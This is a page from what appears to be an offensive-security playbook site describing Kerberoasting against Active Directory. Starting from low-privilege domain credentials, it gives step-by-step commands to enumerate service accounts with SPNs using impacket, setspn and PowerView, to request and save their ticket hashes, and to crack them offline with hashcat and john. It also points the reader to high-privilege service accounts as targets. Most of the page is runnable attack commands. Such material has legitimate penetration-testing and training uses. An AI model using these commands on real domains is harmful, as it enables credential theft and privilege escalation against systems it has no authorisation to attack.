OPSECTLAS you are here: Kerberos ticket
next-move engine

You have Kerberos ticket

2 high-yield moves from here, ordered the way the engagement runs. Open any move to see the exact commands.

  1. needsLow-priv domain credsKerberos ticket
    yieldsCrackable hash
    toolsimpacketpowerviewhashcatjohn
    What it is

    Any authenticated domain user can request service tickets (TGS) for accounts with SPNs. The ticket is encrypted with the service account's password hash → crack offline.

    Step 1: Find Kerberoastable accounts (have SPNs)

    From Linux:

    impacket-GetUserSPNs <DOMAIN>/<USER>:<PASS> -dc-ip <DC-IP> -request | tee scans/kerberoast.txt

    From Windows:

    setspn -Q */* | findstr /V "CN=krbtgt"

    Or with PowerView:

    Get-DomainUser -SPN | Select SamAccountName,ServicePrincipalName
    Step 2: Request and save hashes
    impacket-GetUserSPNs <DOMAIN>/<USER>:<PASS> -dc-ip <DC-IP> -request -outputfile hashes/kerberoast_hashes.txt
    Step 3: Crack with hashcat
    hashcat -m 13100 hashes/kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
    hashcat -m 13100 hashes/kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
    Step 4: Crack with john
    john --wordlist=/usr/share/wordlists/rockyou.txt hashes/kerberoast_hashes.txt --format=krb5tgs
    Priority targets

    Service accounts with high-privilege group memberships (check BloodHound).